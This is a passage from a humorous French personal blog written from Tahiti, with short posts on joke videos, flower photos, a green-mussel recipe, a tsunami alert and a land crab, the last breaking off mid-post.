  Que cela soit dit, une fois pour toute mais la dernière (comme le disait coutumièrement Antonin Artaud), la Créature, outre une grosse-la-tête et des chevilles si énormes qu’on ne risque pas de trouver de vis à la bonne taille, a des boules tellement énormes qu’elle évite de s’assoir et surtout sur des chaises pour des raisons de sécurité testiculaire… cf. ci-dessous.

  

  Bon, ça, c’est fait. J’en viens maintenant à citer un des affidés du défi du vendredi et des vidéos internationales en commun dont je n’avais pas parlé par simple mais regrettable oubli, mais voilà où ça se trouve et c’est coordonné par David (bon, ça, c’est fait aussi), je veux parler de Lolobobo qui a trouvé un site qui fait des rébus sur commande. Premier essai concluant avec « lac-raie-at-hure-dé-mare-haie« , ci-dessous.

  

  Très nature-pêche et tradition, tout ça. Moi, pour la raie, j’aurais évidemment été plus vulgaire.

  Bon, voilà, je crois que j’ai fait le tour et que je peux aller faire la sieste avec la satisfaction du devoir accompli… Merci de votre attention. Ah si, allez voir les « pires pochettes d’album » sur le Real Blog : il faut rire dès le début de l’année avant que les catastrophes sans nombre s’abattent sur le pauvre monde. Je vous rassure, il ne neige pas à Tahiti…

  PS : Et puis, comme ça, on saura que les boxer DIM ne peuvent contenir sans danger que des boulettes de taille raisonnable…

  
• Le trombinoscope de la CdM

  Je voudrais de nouveau remercier tous les participants et la participante (on aura reconnu Elizabeth II qui a gentiment accepté de figurer sur un blog crétin) du trombinoscope de la CdM. Je dois bien avouer que je connais presque tous les volontaires qui ont répondu à mes sollicitations pressantes. Dans l’ordre, moi-même, Elizabeth (Eh oui, nous sommes familiers), PMD (qui montre ses fesses), Rolf (qui tire la langue), Pierre (qui aime les lunettes de plongée), Benji (alias Dark Vador), Max (dont le déguisement reste le plus insolite que j’ai jamais vu), un inconnu (qui présente ses bons voeux ce dont je le remercie) et le dernier en date, Lolobobo… Merci à eux tous et à Sa Majesté.

  Vous aussi rejoignez le fabuleux trombinoscope !!!

  
• Joyeuse et excellente année 2010 à tout le monde !

  Et encore une petite vidéo à la con pour vous souhaiter la bonne année :

  
• Univers végétal et paresse harmonieuse

  Bande de veinard(e)s, la CdM a encore fait de jolies photographies de l’univers végétal  rien que pour vous. Je ferais bien des commentaires sur ces images et il y aurait à dire (ou à redire)  mais c’est assez* qu’elles vous soient livrées sous effet lightbox, minimum syndical du blogueur, car la paresse harmonieuse m’étreint, en ce moment. Bon, j’aurais peut-être une autre explication à fournir mais ce sera pour le prochain post. Cliquez donc sur ces miniatures pour voir les choses en grand, seule manière convenable de vivre le laps de temps très bref qui est accordé aux humains sur cette merveilleuse planète et je serais bien en peine de savoir qui remercier pour cela, mécréant que je suis.

  1) la rose de porcelaine

  

  
  

  2) les cheveux d’ange

  

  
  

  3) la fougère arborescente

  

  
  

  Merci de votre attention.

  * D’ailleurs, si vous n’êtes pas satisfait(e) de cette carence didactique, faites un commentaire vous-même et je chercherai la force de vous renseigner dans la mesure de mes faibles ressources et celles immenses de cette magnifique toile qu’on appelle le web.
  

  
• Le cochon d’inde

  L’avertissement de rigueur : les enfants, ne croyez rien de ce que vous verrez et entendrez dans cette vidéo.

  Et voilà, c’est le troisième défi du vendredi de MaO et je ne vais pas tenir le rythme longtemps…
  

  

  Premier défi : « bonbon » (le cochon), second défi les « boules« . Le thème de ce troisième défi est la « dinde ». Les variations sont infinies, bien sûr… Dans un souci de cohérence personnelle, j’ai choisi de traiter du cochon d’inde. Une fois de plus, je vous conjure de ne pas perdre les derniers instants si précieux de l’année 2009 à regarder une vidéo stupide de 1 mn 15… mais vous faites naturellement ce que vous voulez.

  
  

  J’avais bien pensé à conférer sur les dangers de la dinde. Or Mister Bean l’a déjà fait. Merci de votre attention.

  

  
  

  
• Profession de foi

  Profession ou provision de foie gras pour noël plutôt. Enfin bon, toujours est-il qu’il y avait longtemps que je n’avais pas fait d’article à dominante textuelle pour raconter éventuellement ce que je pense de tout ça et est-ce que ça va être possible.

  Alors, pour commencer le sondage ci-dessous, que les visiteurs qui fréquentent épisodiquement le blog auront peut-être déjà vu avant que je ne le retire :

  

  Les résultats sont éloquents : La CdM semble négliger les moucrennes à la glaviouse, préférer le gloubi-boulga ou bien encore les sphinctouzes à la crème, même si ce plat est contre-indiqué en cas de diverticulite sigmoïdale ou sigmoïdite diverticulaire (si vous ignorez cette pathologie, vous avez un moteur de recherche interne dans la colonne de droite). Je rappelle au passage que deux de ces plats étaient des spécialités reconnues de Zeitoun aka feu Bruno Carette dans Objectif Nul (paix à l’âme de ce grand comique) et que le troisième renvoie à une période télévisuelle avec des monstres à la fois gentils et orange ou vert qui n’a pas été sans laisser quelques traces sur les enfants qui l’ont subie à la fin des seventies.

  Quoi qu’il en soit, je révèle au passage les véritables préférences culinaires (actuelles) de la CdM : le veau du plateau de taravao au sel de Guérande, piqué à l’ail, tartiné de beurre demi-sel avec un soupçon de sweet chili chicken sauce indonésienne et de poivre blanc. Un pur délice. Quant au dessert, j’en pince toujours pour l’armoricain - vous savez ce gâteau à demi-meringué, fourré à la crème pralinée au beurre doux et couvert d’amandes effilées, qui gagne à rancir le jour d’après l’anniversaire : il se bonifie, conservant son craquant et son moëlleux, mais ça ne se fait pas à Tahiti. Bon tant pis.

  Alors, à propos de ce sondage, je voudrais poursuivre : Ce sondage ou Polldaddy offert gratuitement par vizu et gratuitement paramétrable était bien sympathique, soit. Toutefois, il engendre une dépendance du blog à un site extérieur. Or, la dépendance, je n’aime pas tellement, tellement… Mon affranchissement en matière de blog a commencé par une éradication de la plupart des vidéos estampillées CdM sur Dailymotion et Youtube. J’avais remarqué que des malfaisants inséraient les dites vidéos gracieusement réalisées et mises à disposition du public sur des pages gavées de publicité dans le but vraisemblable de gagner 50 cents par mois sur le dos du philanthrope internautique. Quelle mesquinerie… Désormais, mes vidéos sont hébergées directement sur la CdM. On peut toujours les pirater, bien sûr, mais les chapardeurs malodorants utilisent des robots pour repérer les vidéos qui ont du succès sur le net ; comme ce blog est très peu vu, mes vidéos restent donc chez moi.

  Pour le reste, j’essaie au maximum de ne pas solliciter de sources externes, ce qui est assez faisable grâce aux widgets WP. Voilà pourquoi le petit fichier flash « les lianes du blog » est une modeste composition personnelle et que le nouveau sondage existe sans recours à un chargement extérieur (merci au php et à l’auteur du code).

  Merci de votre attention.

  
  

  
• La foufoune expliquée aux enfants

  Je sais, c’est noël et je ne devrais pas donner dans l’humour aussi trash, pardon, pardon.

  La foufoune expliquée aux enfants ? Des mots clefs qui concrétisent une difficulté que tous les parents ne peuvent éviter d’aborder, un jour ou l’autre… Comment le faire avec élégance ? Une solution ci-dessous. Attention, cette vidéo est déconseillée au moins de 18 ans. Au fait, je dois signaler qu’un animal a été réellement maltraité ! Pour ma défense, je précise que je l’ai mangé par la suite avec du citron. Bon appétit.

  
• Joyeux Noël de Tahiti
  A Noël à Tahiti, C’est très joli chanté en Reo-ma’ohi…

  
• Petite photo de classe

  Sauf que voilà, je ne dirai ni où, ni quand, ni qui… Donc, si vous croyez avoir reconnu quelqu’une ou quelqu’un, je vous prie de garder vos commentaires. Merci.

  

  
• Pont-Réan : Commune à risques !

  Bon, je voudrais placer ici, comme c’est parfois l’usage, un préambule :

  1) cette vidéo est faite à l’arrache avec tout un tas de défauts (notamment le tsunami et le commentaire général).

  2) Enfants, ne croyez jamais rien de ce qui se dit sur ce blog (sauf quand c’est de l’auto-critique).
  

  Pont-Réan, donc, commune délicieuse et méconnue d’Ile & Vilaine, jouit d’un climat tropical humide la majeure partie de l’année. Le reste du temps, elle connaît les cyclones, les mascarets et autres catastrophes naturelles comme le montre bien la vidéo ci-dessous.

  NB : Cette vidéo est évidemment dédicacée à mon ami de toujours GLB de Sydney que vous pourrez peut-être reconnaître sur la photo du prochain  article si tant est que vous l’ayez fréquenté il y a environ 35 ans.

  
• Le second défi du vendredi : Les Boules…

  

  Toujours dans le cadre de l’émulation créativo-internautique proposée par Mao avec son « Défi du Vendredi », retenons que pour la seconde édition, le thème était « Les Boules » et je vous renvoie à la photographie illustrative sur son blog, (cliquez sur le playmobil) il s’agissait de boules de noël. Je me suis donc concentré sur le sujet.

  
  

  Pour qui ne comprendrait pas l’allusion à la solution ninja de David Duong, c’est ici.

  
• Arc-en-ciel sur Taiarapu

  Vu de Papeari, il y a en somme des arc-en-ciel sur la presqu’île de Taïarapu mais je trouvais celui-ci assez magique, pour tout dire un arbre lumineux verticalement surgi du coeur des nuées qui plonge sur le récif.

  

  
• Le défi du vendredi

  Le défi du vendredi : Un petit concours concocté par Mao dont le premier thème est le bonbon. Le but du jeu, réaliser une connerie avant le dimanche soir. Vu que ce week-end, j’ai un tas de choses à faire, j’ai réglé l’affaire aussitôt quoique que l’on puisse me faire remarquer que j’ai 12 heures de retard par rapport à la France dite métropolitaine… et que David m’a doublé en étant à GMT+5 (je crois). Merci, Mao, c’est une idée sympa !

  

  
  

  
  

  Merci de votre attention.

  
• Petite assiettée de tiare

  Pour me faire pardonner les images bovines du post précédent, voici une assiettée de tiare – vous savez la fleur avec laquelle on fait le monoï en l’imprégnant dans l’huile de coco.

  On cueille les tiare en boutons que l’on dispose dans une petite assiette en ajoutant un peu d’eau, ils s’ouvrent et embaument la maison. C’est quand même mieux que « l’air en boite » comme dit le Cpt Haddock.

  
  

  

  Merci de votre attention.

  
• Il a du punch, le boeuf !

  Comme tout le monde le sait, la vie est plutôt chère à Tahiti. Mais il y a une exception et elle réjouit les amateurs, c’est le prix du boeuf ! Du boeuf tendre, entrecôte, rumsteak, filet, rôti… Un vrai bonheur ! Enfin, pour ceux qui aiment le boeuf…

  Regardez-moi ce grand et magnifique biftèque de 425 grammes, un coup de moulinette et un tartare de première (à déconseiller aux personnes qui souffrent de sigmoïdite diverticulaire) !

  

  Et le prix, le prix, mais c’est dérisoire…

  

  Etant donné qu’on n’est pas forcément familier du Franc Pacifique, je convertis pour vous : 357 XPF, ça fait 2,99 € les 425 grammes, soit 7 € le Kg pour de la bidoche délicieusement fondante. Bon, si vous préférez le poisson, il se vend frais pêché au bord de la route à des prix tout à fait raisonnables.

  Merci de votre attention.

  PS : 7 mai 2011- Les prix ont bien changé, hélas…

  
• La Nature aime-t-elle l'homme ?

  Qu’elle est belle, la nature pleine d’amour, en tout cas d’une innocence native comme le mimosa pudica. L’homme aime la nature et aimer la nature est la nature de l’homme mais quand elle devient trop sensitive, l’homme et la nature peuvent éprouver la haine. A moins que ce soit de l’humour cédéhèmesque à Tahiti.

  
  

  
• Face Bouc

  Une stupidité rapide sur une face de bouc avec un jeu de mot à la con sur facebook…

  
• 403

  Je connaissais la 404, la 505, mais pas la 403.

  « J’ai encore une petite question à vous poser… » Réplique incontournable du fameux inspecteur Colombo qui fit transpirer tant de coupables tout aussi virtuels qu’ils étaient de fiction, comme par exemple Patrick Mac Gohan affublé d’une barbiche, mais chacun peut se laisser pousser des poils au menton même s’il est chinois.

  

  
  

  Bref, je ne m’adresse qu’en partie aux visiteurs coréens en quête d’épilation totale ou aux égarés bulgares recherchant la sauterelle à gros nez (mots-clefs qui me valent la faveur des internautes, si, si, vous pouvez vérifier), non, ce message est destiné aux amis épars qui viennent me lire et dont le courage force l’admiration car il est (paraît-il) plutôt ardu de suivre, même sporadiquement, les élucubrations sporadiques de la CdM.

  Et d’ailleurs, n’oubliez pas d’utiliser mon nouveau machin pour vous immortaliser temporairement : il suffit de cliquer sur « Prends-moi en photo » dans la colonne de droite et vous serez de la galerie, oui, vous. Comme un anonyme a déjà montré ses fesses, vous pouvez exhiber vos boules pour changer ou toute autre région de votre anatomie que vous jugerez nécessaire à participer de cette postérité transitoire.

  Il n’en demeure pas moins que mon hébergeur s’est montré pointilleux quant aux modestes outils statistiques de ce blog peu fréquentable qui démontrent pourtant que, hormis les coréens et les bulgares, rares sont celles ou ceux qui prennent soin de consulter quotidiennement mes pitreries. Résultat : Une suspension de 24 h et je me permets de citer ci-dessous le message tellement il me semble à l’image même des absurdités que vous lisez en ce moment.

  

  Bon, pas de lamentations, les gadgets stats sont ôtés par sécurité et j’aurais tort de me plaindre qu’un hôte si complaisant ne se tînt informé de ce qui circule sous son extension quand je fais se rencontrer, dans une bonne humeur factice, Benoît XVI et Mahmoud Ahmadinejad. Simplement, je n’aurais plus l’immense plaisir de savoir qu’un mexicain est venu visiter ma plaisanterie sur la grippe porcine ou qu’un australien s’inquiète de sa diverticulite sigmoïdale. Quoi qu’il en soit, j’ai choisi d’adopter une solution radicale que je vous recommande chaudement pour aborder ce genre de souci si vous débloguez :

  [youtube]http://www.youtube.com/watch?v=lEMph9pXX8M&feature=player_embedded[/youtube]

  
• Quand Versailles était conté – Patrick Dandrey

  A mon plus grand plaisir, Patrick Dandrey, Professeur à la Sorbonne, publie enfin un ouvrage qui dévoilera peut-être au plus grand nombre l’acuité malicieuse de sa réflexion et la virtuosité aimable de son style.

  

  A preuve, le résumé de cette parution : « Voici une promenade littéraire qui prend pour sujet la cour de Louis XIV. On voudrait y montrer comment en parlaient, s’en étonnaient, s’en moquaient, l’admiraient ou la fouaillaient les écrivains qui eurent le loisir de la fréquenter et de l’observer : les grands, Molière, La Fontaine ou La Bruyère, Bossuet et Saint-Simon, Mmes de La Fayette ou de Sévigné  ; et puis quelques secondes plumes aussi, mémorialistes attentifs ou princes bien informés, et jusqu’au Roi Soleil lui-même. Rien d’exhaustif dans ces choix. Plus que le souci d’analyse historique, le plaisir littéraire les a gouvernés, qui voudrait se transmettre au lecteur : lui faire savourer le coup d’œil et le coup de patte, la musique de la langue incisive et pleine, l’économie du tour et du trait, signatures de ces auteurs qu’on a peut-être tort de dire classiques, de ne dire que classiques.
  Un hommage à la plume et à l’esprit, qui suggère sur la cour d’alors et de toujours quelques vérités d’analyse et de satire propres à éclairer aussi notre temps. »

  

  
  

  Merci de votre attention.

  
• L'internet, c'est une chaîne : Salut les maillons !

  Voilà ! Mon ami David m’avait proposé à son exemple de suivre la chaîne proposée par Lolobobo qui propose de mettre en liens les trois premiers articles de ce blog. Au début, je me suis montré le maillon faible prétextant que mes articles initiaux n’étaient pas textuels à proprement parler. Mais David vient d’insister, alors j’enchaîne. Mais attention , en contrepartie, j’espère que David se prendra tout nu en photo pour intégrer le trombinoscope de la CdM (voir colonne de droite) !

  • Le 1er article, c’est un clip de Minou de Lifou. A part la batterie et la guitare basse, tous les autres sons sont issus des cordes vocales du chat avec divers trafics
  • Le 2nd, c’est une vidéo parodique des Deux-Frères de J-J. Annaud intitulée Deux-Cousins. Vous pouvez la retrouver sur l’onglet vidéo…
  • Le 3ème, c’est une chanson du Père Noël qui ne prend pas ses RTT.

  Ok, David, j’ai joué le jeu mais je ne sais pas à qui repasser la patate chaude !

  
• Niveau de la mer, réchauffement climatique, tsunami

  Avec un titre aussi racoleur, je vais bien choper quelques visiteurs… Niveau de la mer : Oui. Quand on rejoint Taïarapu-Est en venant de Papeete ou inversement, on passe sur une route pas tellement, tellement au-dessus du niveau de la mer. Voyez plutôt :

  

  (lieu précis de la photo suivante. Lat: 17°44’24.08″S – Long: 149°20’18.86″O – Merci google earth !)

  Réchauffement climatique ? Oui aussi. Dans quinze ans, cette route sera un pont.

  

  Tsunami ? Eh bien, à moins de savoir qu’un tsunami a récemment menacé la Polynésie et de cliquer sur la photo pour la voir en grand, vous ne verrez pas le rapport…

  Merci de votre attention.
  

  
• Rose ou hibiscus ?

  Eh oui, la Créature donne dans l’églogue visuelle en ces temps troublés ! Après la liane de jade, je découvre que l’hibiscus racorni ressemble curieusement à une rose. Enfin, vous pouvez donner votre avis à ce sujet. Le voilà dans la maturité :

  

  Et maintenant, le voici avant qu’il ne soit tout à fait flétri. Etonnant, non ?

  

  
• Les liens de ce blog

  Un blog se ravigote souvent, en terme de notoriété, par une longue liste de liens vers d’autres blog qui lui jouent le retour. On aura peut-être remarqué que la CdM ne cède pas à cette facilité. Ce n’est pas qu’elle ne trouve pas tout un tas de blogs attrayants, mais plutôt qu’elle réserve sa blogoliste à des amitiés ciblées. Un petit flash pour rappeler qui sont les personnes humaines ou non à l’origine des liens de la « blogoliste » de la CdM, ci-contre à droite.

  La version 180×140 px fait 130 Ko. Cela alourdirait notablement le chargement de ce blog amateur alors que la blogoliste avec snapshot permet de se faire une idée soit sur l’aperçu visuel, soit par le recensement RSS. Bref, je crois que je vais tout de même le placer. Le voici en version double de taille sans compter la gabelle :

  Merci de votre attention.

  
• La liane de jade

  Au début, j’avais compris qu’il s’agissait de la liane de Jane et je me demandais ce que la compagne de Tarzan venait faire dans cette histoire. Mais non, il est bien question de la Liane de Jade qui donne une grappe de fleurs du plus beau turquoise.  La photographie a été prise au jardin d’eau, Vaipahi, sur la commune de Teva i Uta, Tahiti. Cette légumineuse splendide est tristement affublée d’un nom de dinosaure ou de médicament : Strongylodon macrobotrys. Elle serait originaire des Philippines où – comme on sait – les jumelles ont les yeux en amande. Voyez plutôt et cliquez ensuite.

  

  PS : La Créature des Marais dédie cette fleur de sa famille au Concombre Masqué !

  
• Le Concombre Masqué

  La Créature des Marais, tout dans le marais qu’elle soit, est ultra-sélective en matière de BD. Elle est fan du Capitaine Haddock, de Corto le Maltais, de Gaston Lagaffe, mais s’il y eut bien dans son passé un personnage qui l’a marqué par affinités de couleur, c’est le Concombre Masqué.

  Récemment, en consultant le Net, la CdM a eu la joie indescriptible de découvrir que le Concombre Masqué poursuit ses aventures potagères hors de son cactus-blockhaus, qu’il est encore bien vert et toujours aussi cocasse.

  

  
  

  Hommage à Nikita Mandryka, Père du Concombre, qui le fit naître un an avant la naissance de la CdM. Celles et ceux qui connaissent le Concombre se réjouiront en suivant ce lien. Les autres peuvent s’initier à un humour qui a jusqu’à maintenant une influence indéniable sur les réalisations de ce blog.

  Merci de votre attention.

  PS : Le site du Concombre Masqué est ajouté dans les liens permanents.
  

  
• Le magazine GLLOQ N°2 vient de paraître

  Tout le monde avait lu GLLOQ N°1, le premier numéro du magazine de la CdM ? Eh bien, voici le N°2 que chacune et chacun attendaient avec impatience. Encore une fois, un peu long à charger, soyez patient, s’il vous plaît.

  De quoi parle cette seconde parution ? Essentiellement du Pape Benoît XVI et du Président Mahmoud Ahmadinejad. ATTENTION : Je précise à nouveau que je ne me moque pas des croyants qu’ils soient Catholiques ou Musulmans. Je respecte et Dieu et Allah.

  Simplement, je me paye la tête des fanatiques qui croient les servir… en racontant n’importe quoi. Je rappelle que Glloq est un magazine à feuilleter en ligne. On clique avec la souris sur les coins de page en maintenant la souris cliquée pour les tourner. Si vous n’y arrivez pas : Double-cliquez…
  

  

  
• Fils à Papa

  Précision à l’intention des internautes : NE CROYEZ PAS CE QUI SE TROUVE CI-DESSOUS

  On aura pu s’étonner que la goguenarde créature n’ait pas fait de plaisanterie sur un sujet qui a récemment défrayé la chronique, ayant trait au népotisme. Nous, le Aidez-Ouam (comité de soutien à la Créature des Marais), préférons dévoiler nous-mêmes les raisons de ce silence afin d’éviter que son manège ne devienne la proie des médias internationaux qui ne font rien qu’à se mêler de choses qui ne les regardent pas… Ils feraient mieux d’aller voir la tour Eiffel en couleur.

  En effet, nous avions oublié d’en parler mais la CdM a un chien : Le toutou à son papa (il n’a pas d’autre nom). Bien que peu de personnes le sachent, notre CdM a ses entrées (le prochain numéro de Glloq, le magzine de la CdM, devrait jeter quelques lumières sur les relations diplomatiques que celle-ci entretient avec le Saint-Père), elle a donc voulu abuser de son influence auprès de Benoît XVI afin que ce dernier nomme le-toutou-à-son-papa  dicastère de la curie romaine. Le toutou devait notamment être chargé de la surveillance des trottoirs du Vatican et puis, surtout, de trancher l’épineuse question : Sont-ce les maîtres ou les chiens qui sont responsables des déjections canines sur la chaussée pontificale ? Il devait se voir confier un budget conséquent pour mener à bien cette tâche difficile.

  

  Hélas, ce sont les compétences de toutou-à-son-papa qui ont été remises en cause et entraîné le retrait de sa « candidature ». En effet, il aurait dû piloter le plus petit avion du monde pour chien en vue de repérer la moindre crotte suspecte à la périphérie des 16 hectares des états du Pape. Or, quoique par élégance, toutou-à-son-papa arbore des lunettes d’aviateur, en sus de son masque contre la grippe A, il ne s’en est pas moins vu refuser par trois fois son brevet.

  Alors, quant à savoir s’il y avait en la matière une obscure manigance de la CdM, la question se pose. Toutefois, aux dernières nouvelles, le toutou-à-son-papa serait pressenti pour une mission de nonce au Balouchistan occidental. Décidément, les affaires politiques comme les affaires familiales témoignent d’un certain degré de complexité et si elles sont confondues, il s’avère délicat de les interpréter.

  Merci de votre attention.

  PS : Il est également d’actualité qu’à l’avenir le Net français n’autorise plus ses citoyens à écrire n’importe quoi, la CdM a du souci à se faire… Soyez sympas, adhérez au Aidez-Ouam. On vous communiquera l’adresse dès qu’on l’aura retrouvée.

  PPS : Et puis, après tout, tant qu’on a encore le droit de raconter ce qu’on veut, allez donc consulter cet article de RUE89 avec un tas de liens éloquents, enfin, manière de dire. C’est édifiant.

  
• Maracudja, fruit de la passion

  Le maracudja, maracuja ou même maracunja (mot d’origine amérindienne sans doute tupi mais dire que ce mot est d’origine tupi est à peu près aussi précis que de dire mot d’origine européenne…), plus connu sous le nom de fruit de la passion, nous vient d’Amérique du Sud. Le fruit de la passion en lui-même n’est pas spécialement photogénique. En revanche, la fleur est magnifique : on l’appelle aussi passiflore, elle sent délicieusement bon, et comme j’ai la flemme de répéter, vous pouvez aller voir ce que gars-là en dit (les pistils qui forment la couronne christique épineuse) , ça a l’air de tenir la route.

  Fleur de la passion, donc, que voici avec une abeille tahitienne en prime (dont je ne connais pas l’origine, je n’avais aucune légitimité pour lui demander ses papiers) :

  

  Une première anecdote pour prouver que je ne fais pas rien qu’à répéter ce que les autres ont dit : c’est qu’un de mes voisins dit « Krizel » à St Georges, vieil Oyapockois originaire de Nouvelle-Alliance, m’avait donné une recette fameuse. On coupe le fruit en deux parties égales avec un copain, on ajoute un brin de tafia (un doigt de belle Cabresse, rhum certifié à 50°) et on avale le tout comme un sec avec la pulpe et les graines. Selon Krizel, dont j’espère qu’il est toujours en vie, quoique il ait empoisonné ma chatte noire, le saligaud (il n’aimait ni les chats ni les chiens quelle qu’en soit la couleur), m’avait indiqué l’expression créole guyanaise, et peut-être même spécifiquement oyapockoise, de cette façon d’agrémenter cette pomme-liane : « Faire madou ».

  Le second point, c’est pour celles et ceux qui ne connaîtraient pas la chanson du lubrique guadeloupéen, Francky Vincent qui roule en golf décapotable : « Fruits de la passion »

  Aucun rapport avec le livre de Pennac, il s’agit d’un zouk endiablé chanté pour partie en créole gwada (désolé pour qui ne comprend pas et ne peut pas se bidonner à ce sujet), pour partie en français. Quelques citations hilarantes de la poésie francophone de Mister Vincent : « Pour caresser tes petits seins, pas besoin de me faire un dessin » ou bien « Aujourd’hui, tu vas oublier tous les tocards qui n’ont pas assuré » ou encore « Et voilà ton étalon qui enlève son pantalon »… Les images du clip sont un peu saturées en couleur à mon goût mais permettent de voir la bonne tête de Francky V. ainsi que de jolies gonzesses. Allez voir cette vidéo rigolote, j’adore la petite tyrolienne vers la fin.

  Merci de votre attention.

  
• Les moules vertes

  Oui, les moules aux lèvres vertes et là encore, je n’ai rien inventé… La Perna canaliculus porte peut-être un nom obscène mais sa nature charnue est fondante sous la langue.

  Une fois encore, les pervers seront déçus : l’expression « moule verte » ou bien « chatte verte » pourrait prêter à confusion.

  

  Causons plutôt nostalgie, un mal suisse selon Patrick Dandrey. La moule verte de Nouvelle-Zélande (salut les Kiwis), je l’ai découverte lors d’un dîner de 1er de l’an chez la famille Katrawa de Hnasse à Lifou, salut au Clan ! Si l’un des membres me lit un jour, sachez que je vous en suis encore reconnaissant et que je garde Mamie et Watongane, et tout le monde, dans mon coeur. Ci-dessous, une photo de Watongane « Jean » Katrawa qui date de 2002. Paix à son âme et à celle de son épouse qui furent pour moi de vrais grands-parents. Mais je m’égare…

  

  Revenons à notre sujet, la « green mussel » ou moule verte géante de NZ est tout à fait délicieuse. De plus, elle est excellente pour les articulations, même si on porte un dentier. Evidemment, on peut la consommer en gélules mais la manger véritablement pourrait vous délecter. Vous me direz, chacun a ses recettes, voici la mienne.

  La recette

  Trouvez une cocotte sérieuse et placez-y les moules vertes. Ajoutez 50 cl de Hinano (boisson roborative de Tahiti).

  

  Vous aurez soin de préparer deux gousses d’ail finement découpées au cutter, d’incorporer quatre cuillères à soupe de Soyu (sauce soja pour les béotiens) ce qui évite de rajouter du sel de Guérande quand il fait défaut, un peu d’estragon  et de noix de muscade et pas mal de poivre blanc pour chauffer la gueule et attiser les poussées hémorroïdales. Enfin, les toxicomanes peuvent rajouter un peu de pakalolo (cannabis amsterdama) mais pas trop, il ne s’agit pas de défoncer la moule, seulement de l’aromatiser. Quand la sauce est réduite, rajoutez de la crème pour faire normand, oui, non, c’est vous qui voyez. Moi, je dirai oui, plutôt oui. Le résultat ?
  

  

  (cliquez sur l’image pour voir la cocotte remplie et la moule à point)

  Un vrai délice qui est féminin au pluriel et fait qu’on peut se passer de frites même si on est belge pour brouter la moule.

  Conséquence : Plutôt que de se gaver de myorelaxant quand on le dos en capilotade pour réussir à dormir, un plat sérieux à base de moules vertes vous fera passer une nuit radieuse. Merci de votre attention.

  PS : je n’ai pas fait de vidéo. La moule verte n’est pas très active une fois cuite.

  
• Taiarapu en panoramique, one again do !

  

  C’est la vue que j’ai de mon balcon (d’où je ne vois pas passer les cons) quand je me réveille de la sieste. Et merci à Dick Rivers de m’avoir appris l’anglais…

  PS : Bisous à Didier l’embrouille, le plus grand fan de Dick.

  
• Qu’est-ce qu’on fait le dimanche ?

  Comme un gros con, on va à la pêche. Sauf, sauf, sauf que quand on est la créature des marais, on ne peut pas se permettre de pêcher un modeste gardon ou de taquiner le goujon… Non, il faut pêcher la bestiole rarissime, celle qui fera date, celle que personne n’a jamais vue. L’anguille rose de la titaaviri.

  

  Et voilà, c’est chose faite, comme quoi on peut compter sur la CdM. Et puis, pour que vous vous couchiez moins idiot à propos des anguilles et de l’origine du cocotier, suivez ce lien pour découvrir un joli mythe tahitien.

  Rassurez-vous ! Je n’avais pas de cidre sous la main alors je l’ai remise dans la rivière…

  
• Quand on a rien sous la main, on bulle…

  C’est bien ça. Quand on a rien sous la main, on fait des bulles avec sa souris…

  
  

  
• Alerte au Tsunami

  La Polynésie française échappe au désastre

  Tahiti est sauf et les vagues à Papeari (côte Ouest avant l’isthme) étaient habituelles ,  brisant de leur beauté la douceur du récif.

  

  Elles ont été plus féroces aux Samoa et si l’on déplore, hélas, des pertes humaines, elles n’ont cependant rien à voir avec l’horrible hécatombe du fameux tsunami  précédemment médiatisé, celui de 2004. Il est vrai que la situation était plutôt confuse en Polynésie, ce matin. A Taravao, les choses se sont passées dans le calme. Bon nombre d’habitants du côté mer ont plié bagage mais sans panique. L’anxiété concernant les êtres chers n’était pas absente, notamment chez les enfants éloignés de leurs parents et réciproquement. Toutefois, chacune et chacun s’est comporté(e) sans excès. Je trouve cela admirable.

  Ce qui m’inquiète plutôt, c’est le sensationnalisme de la Presse mondiale… On connaissait déjà la hauteur des vagues à Tomboctou, alors qu’on en savait rien en Polynésie pour l’essentiel de la population. Que cherchent donc à masquer tous ces médias, loin de ce qui se passe dans leur sphère, pour s’aller claironnant l’apocalypse des archipels du Pacifique ? On se le demande, oui, mon Trésor. D’autant que cela provoque une montée d’adrénaline chez toutes celles et ceux qui ont de la famille ou des amis en Polynésie…
  

  Quelle est la vérité sur les risques de tsunami à Tahiti ?

  De ce que l’on peut trouver sur le net, voici quelques adresses par catégories :

  Un article sur l’International Tsunami Warning : le dispositif de surveillance.

  Un exemple de panique en cas de non-alerte au tsunami sur le site des sismologues de l’IRD.

  Ce qui se dit sur un forum de surf4all.

  Un témoignage bouleversant d’inutilité : je n’ai pas vu le tsunami.

  Et enfin, l’inévitable théorie du complot.

  De fait, la seule solution pour se mettre à l’abri est de prendre sa famille, ses papiers, à manger, à boire, de quoi se couvrir et grimper sur la montagne la plus proche… Mais ça ne marche pas sur les atolls.
  

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  Une interview édifiante de Avearii, habitante de Papeari.

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  PS : Merci à Avearii de sa collaboration ! Mauruuru.

  
• Le Tupa, le crabe herbivore qui vit dans un trou

  Dans la famille « animaux du Pacifique », poursuivons avec le Tupa, Cardisoma Carnifex.

  

  Qui est le Tupa ?

  C’est un crabe qui a choisi de quitter la mer pour survivre tout en restant à côté d’elle parce que rien n’est plus vivifiant que le bord de mer comme villégiature. Ses petits poumons sont faits pour respirer « le bon air du bon Dieu » (le Cpt Haddock – On a marché sur la lune – p.16) plutôt que « cette lavasse » (Cpt Haddock – Coke en stock – p.37). Comme tous les crabes, il est tout mou du dedans et tout dur du dehors, ce qui le conduit à sortir périodiquement de son squelette qu’il abandonne sans vergogne. Réduit à l’état de grabataire, le pauvre diable se gave d’eau et attend patiemment que sa carapace se refaçonne à des dimensions plus confortables. Une fois qu’elle est dure, il recrache toute l’eau et va boire un whisky.(Voir la chauve-souris de Guyane qui consomme également du whisky)

  Où habite le Tupa ?

  Il me semble l’avoir évoqué dans le titre, le Tupa vit dans un trou profond et plutôt étroit (mémo : à éviter de mettre dans les Tags). Les gens qui aiment les pelouses bien entretenues seront affligés car c’est plus fort que lui, il faut qu’il fore ! De sorte qu’il creuse des tas de galleries en dépit du bon sens avec des ouvertures de surface idéales pour se tordre les chevilles mais, pour lui, c’est un puits obscur et délicieusement humide où il se love comme un oeuf en ses tréfonds (cardisoma : en forme de coeur).

  

  Il est à noter que les larves de l’Aedes Aegyptis se développent à merveille dans le trou de Tupa. Sur l’Atoll de Ahé, Moitessier versait du pétrole au moyen d’un fin tuyau jusqu’au fin fond du repère du Tupa pour former une pellicule sur la lentille d’eau douce où naissent ces insectes propagateurs de la dengue. On sait que le moustique est le prédateur de l’homme, continuons plutôt avec le Tupa.

  Que mange le Tupa ?

